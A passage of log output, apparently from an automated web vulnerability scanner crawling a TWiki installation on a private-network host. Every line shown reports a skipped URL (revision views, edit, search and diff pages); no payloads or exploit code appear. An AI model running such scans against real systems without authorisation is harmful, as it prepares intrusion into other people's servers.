'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=r1.15' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=r1.14' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=r1.13' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=r1.12' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=r1.11' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=r1.10' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=r1.9' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=r1.8' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=r1.7' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=r1.6' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=r1.5' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=r1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=r1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=r1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=r1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=1.18' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/ManagingTopics?rev1=1.18&rev2=1.17' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=1.17' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/ManagingTopics?rev1=1.17&rev2=1.16' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ManagingTopics?rev=1.16' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/ManagingTopics?template=oopsmore¶m1=1.18¶m2=1.18' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rename/TWiki/TWikiDocumentation?currentwebonly=on' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text&web=all;®ex=on&search=TWiki *Documentation[^A-Za-z]' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458383' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebNotify?skin=print&rev=1.7' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebNotify?rev=1.8' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/WebNotify?template=oopsmore¶m1=1.8¶m2=1.7' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebNotify?skin=print&rev=1.6' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/WebNotify?template=oopsmore¶m1=1.8¶m2=1.6' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiGlossary?t=1441458386' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki *Glossary[^A-Za-z]' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiGlossary?skin=print' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiGlossary?rev1=1.3&rev2=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiGlossary?rev=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiGlossary?rev1=1.2&rev2=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiGlossary?rev=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiGlossary?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/AndreaSterbini?rev=r1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/CoreTeam?topicparent=Main.AndreaSterbini' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/AndreaSterbini?rev=r1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/AndreaSterbini?rev=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/AndreaSterbini?rev=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/AndreaSterbini?template=oopsmore¶m1=1.2¶m2=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebStatistics?rev=r1.5' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebStatistics?rev=r1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebStatistics?rev=r1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebStatistics?rev=r1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/TWikiDocumentation?topicparent=Know.WebStatistics' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebStatistics?rev=r1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebStatistics?rev=1.5' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Know/WebStatistics?rev1=1.5&rev2=1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebStatistics?rev=1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Know/WebStatistics?rev1=1.4&rev2=1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebStatistics?rev=1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Know/WebStatistics?template=oopsmore¶m1=1.5¶m2=1.5' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Sandbox/WebPreferences?unlock=on' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Know/WinDoze95Crash?t=1441458386' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Know/SearchResult?scope=text®ex=on&search=Win *Doze 95Crash[^A-Za-z]' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WinDoze95Crash?skin=print' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Know/WinDoze95Crash?rev1=1.3&rev2=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WinDoze95Crash?rev=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Know/WinDoze95Crash?rev1=1.2&rev2=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WinDoze95Crash?rev=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Know/WinDoze95Crash?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/OfficeLocations?rev=r1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/OfficeLocations?rev1=1.3&rev2=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/OfficeLocations?rev=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/OfficeLocations?template=oopsmore¶m1=1.4¶m2=1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?rev=r1.11' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?rev=r1.10' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?rev=r1.9' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?rev=r1.8' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?rev=r1.7' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?rev=r1.6' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?rev=r1.5' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?rev=r1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?rev=r1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?rev=r1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/TWikiPreferences?topicparent=Know.WebPreferences' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Know/?scope=topic®ex=on&search=.' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?rev=r1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Know/WebPreferences?rev1=1.10&rev2=1.9' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebPreferences?rev=1.9' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Know/WebPreferences?template=oopsmore¶m1=1.11¶m2=1.11' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/StartingPoints?rev=r1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/StartingPoints?rev=r1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/StartingPoints?rev=r1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/StartingPoints?rev=r1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/StartingPoints?rev=1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/OsMacOS?rev=r1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/OsMacOS?rev=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Know/OsMacOS?template=oopsmore¶m1=1.1¶m2=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=r1.12' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=r1.11' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=r1.10' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=r1.9' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=r1.8' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=r1.7' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=r1.6' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=r1.5' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=r1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=r1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=r1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=r1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WebSearch?rev1=1.11&rev2=1.10' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=1.10' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/WebSearch?template=oopsmore¶m1=1.12¶m2=1.12' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/SimultaneousEdits?rev=r1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/SimultaneousEdits?rev=r1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/SimultaneousEdits?rev=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/SimultaneousEdits?rev=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/SimultaneousEdits?template=oopsmore¶m1=1.2¶m2=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/ChangePassword?t=1441458388' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Change *Password[^A-Za-z]' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ChangePassword?skin=print' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/ChangePassword?rev1=1.7&rev2=1.6' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ChangePassword?rev=1.6' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/ChangePassword?rev1=1.6&rev2=1.5' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/ChangePassword?rev=1.5' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/ChangePassword?template=oopsmore¶m1=1.7¶m2=1.7' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/SiteUsageStatistics?rev=r1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/SiteUsageStatistics?rev=r1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/SiteUsageStatistics?rev=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/SiteUsageStatistics?rev=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/SiteUsageStatistics?template=oopsmore¶m1=1.2¶m2=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458389' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458392' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Know/OperatingSystem?t=1441458394' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Know/SearchResult?scope=text®ex=on&search=Operating *System[^A-Za-z]' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/OperatingSystem?skin=print' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Know/OperatingSystem?rev1=1.5&rev2=1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/OperatingSystem?rev=1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Know/OperatingSystem?rev1=1.4&rev2=1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/OperatingSystem?rev=1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Know/OperatingSystem?template=oopsmore¶m1=1.5¶m2=1.5' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/attach/Main/WebIndex?filename=pix.gif&revInfo=1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/WikiWikiClones?t=1441458394' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Wiki *Wiki *Clones[^A-Za-z]' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiWikiClones?skin=print' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WikiWikiClones?rev1=1.6&rev2=1.5' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiWikiClones?rev=1.5' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WikiWikiClones?rev1=1.5&rev2=1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WikiWikiClones?rev=1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/WikiWikiClones?template=oopsmore¶m1=1.6¶m2=1.6' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebChanges?rev=r1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WebChanges?rev1=1.2&rev2=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebChanges?rev=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/WebChanges?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458396' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TimBernersLee?t=1441458398' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Tim *Berners *Lee[^A-Za-z]' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TimBernersLee?skin=print' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TimBernersLee?rev1=1.3&rev2=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TimBernersLee?rev=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TimBernersLee?rev1=1.2&rev2=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TimBernersLee?rev=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TimBernersLee?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WhatIsWikiWiki?rev=r1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WhatIsWikiWiki?rev=r1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WhatIsWikiWiki?rev=r1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiWeb?topicparent=TWiki.WhatIsWikiWiki' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WhatIsWikiWiki?rev=r1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WhatIsWikiWiki?rev=1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WhatIsWikiWiki?rev1=1.4&rev2=1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WhatIsWikiWiki?rev=1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/WhatIsWikiWiki?rev1=1.3&rev2=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WhatIsWikiWiki?rev=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/WhatIsWikiWiki?template=oopsmore¶m1=1.4¶m2=1.4' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TimBernersLee?rev=r1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TimBernersLee?rev=r1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TimBernersLee?template=oopsmore¶m1=1.2¶m2=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rename/Sandbox/WebSearch?currentwebonly=on' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Sandbox/SearchResult?scope=text&web=all;®ex=on&search=Web *Search[^A-Za-z]' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458400' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/attach/TWiki/TextFormattingRules?filename=pix.gif&revInfo=1' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/edit/Main/WebIndex?t=1441458402' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Web *Index[^A-Za-z]' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/Main/WebIndex?skin=print' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/Main/WebIndex?rev1=1.3&rev2=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/Main/WebIndex?rev=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/Main/WebIndex?rev1=1.2&rev2=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/Main/WebIndex?rev=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/oops/Main/WebIndex?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458403' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/TWikiUsers?rev=r1.16' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/TWikiUsers?rev=1.16' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458406' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebRss?rev=r1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebRss?rev=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Know/WebRss?template=oopsmore¶m1=1.1¶m2=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/LondonOffice?rev=r1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/search/Main/?scope=text&search=Location: LondonOffice' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/LondonOffice?rev=r1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/LondonOffice?rev=r1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/LondonOffice?rev=1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/LondonOffice?rev1=1.3&rev2=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/LondonOffice?rev=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/LondonOffice?rev1=1.2&rev2=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/LondonOffice?rev=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/LondonOffice?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458409' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/edit/TWiki/GoodStyle?t=1441458411' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Good *Style[^A-Za-z]' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/GoodStyle?skin=print' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/TWiki/GoodStyle?rev1=1.7&rev2=1.6' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/GoodStyle?rev=1.6' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/TWiki/GoodStyle?rev1=1.6&rev2=1.5' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/GoodStyle?rev=1.5' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/oops/TWiki/GoodStyle?template=oopsmore¶m1=1.7¶m2=1.7' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebHome?skin=print&rev=1.18' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/WebHome?template=oopsmore¶m1=1.21¶m2=1.18' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/WebHome?unlock=on' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458412' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiInstallationNotes?rev=r1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiInstallationNotes?rev=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiInstallationNotes?template=oopsmore¶m1=1.1¶m2=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113/twiki/bin/attach/Main/TWikiUsers?filename=pix.gif&revInfo=1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/FileAttribute?t=1441458415' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=File Attribute[^A-Za-z]' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/FileAttribute?skin=print' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/FileAttribute?rev1=1.3&rev2=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/FileAttribute?rev=1.2' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/FileAttribute?rev1=1.2&rev2=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/FileAttribute?rev=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/FileAttribute?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458416' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?skin=print&rev=1.12' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?rev=1.13' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/WebSearch?template=oopsmore¶m1=1.13¶m2=1.12' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebSearch?skin=print&rev=1.11' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/WebSearch?template=oopsmore¶m1=1.13¶m2=1.11' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441458419' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiRegistration?skin=print&rev=1.8' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiRegistration?rev=1.9' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiRegistration?template=oopsmore¶m1=1.9¶m2=1.8' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebChangesNotify?rev=r1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/WebChangesNotify?rev=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/TWiki/WebChangesNotify?template=oopsmore¶m1=1.1¶m2=1.1' [20:24:26] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiRegistration?skin=print&rev=1.7' [20:24:26] [INFO] skipping 